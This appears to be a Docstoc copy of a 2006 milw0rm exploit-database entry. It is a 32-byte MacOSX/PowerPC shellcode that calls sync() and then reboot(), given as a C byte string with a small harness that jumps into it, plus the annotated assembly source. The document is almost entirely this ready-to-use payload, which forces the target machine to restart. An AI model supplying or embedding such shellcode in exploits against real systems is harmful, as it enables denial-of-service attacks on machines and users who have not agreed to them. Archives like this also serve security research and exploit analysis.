Docstoc

osxppc sync_ reboot 32 bytes

Document Sample
osxppc sync_ reboot 32 bytes Powered By Docstoc
					                                               osxppc sync, reboot 32 bytes   Page 1/1
  1    /*
  2     * [MacOSX/PowerPC]
  3     * Shellcode for: sync(), reboot()
  4     * 32 bytes
  5     * hophet [at] gmail.com
  6     * http://www.nlabs.com.br/~hophet/
  7     *
  8     */
  9
  10   #include <stdio.h>
  11   #include <string.h>
  12
  13   char shellcode[] =
  14
  15   "\x7c\x63\x1a\x79"
  16   "\x39\x40\x01\x06"
  17   "\x38\x0a\xff\x1e"
  18   "\x44\xff\xff\x02"
  19   "\x60\x60\x60\x60"
  20   "\x39\x40\x01\x19"
  21   "\x38\x0a\xff\x1e"
  22   "\x44\xff\xff\x02";
  23
  24   int main() {
  25
  26             void (*p)();
  27             p = (void *)&shellcode;
  28             printf("Lenght: %d\n", strlen(shellcode));
  29             p();
  30   }
  31
  32   /*
  33   .globl _main
  34   .text
  35   _main:
  36           xor.          r3, r3,r3       // r3 = NULL
  37           li            r10, 226+36
  38           addi          r0, r10, −226   // r0 = 36
  39           .long         0x44ffff02      // sc opcode
  40           .long         0x60606060      // NOP
  41           li            r10, 226+55
  42           addi          r0, r10, −226   // r0 = 55
  43           .long         0x44ffff02      // sc opcode
  44   */
  45
  46   // milw0rm.com [2006−05−01]




hophet                                                                        05/01/2006

				
DOCUMENT INFO
Shared By:
Categories:
Tags:
Stats:
views:26
posted:5/24/2010
language:Albanian
pages:1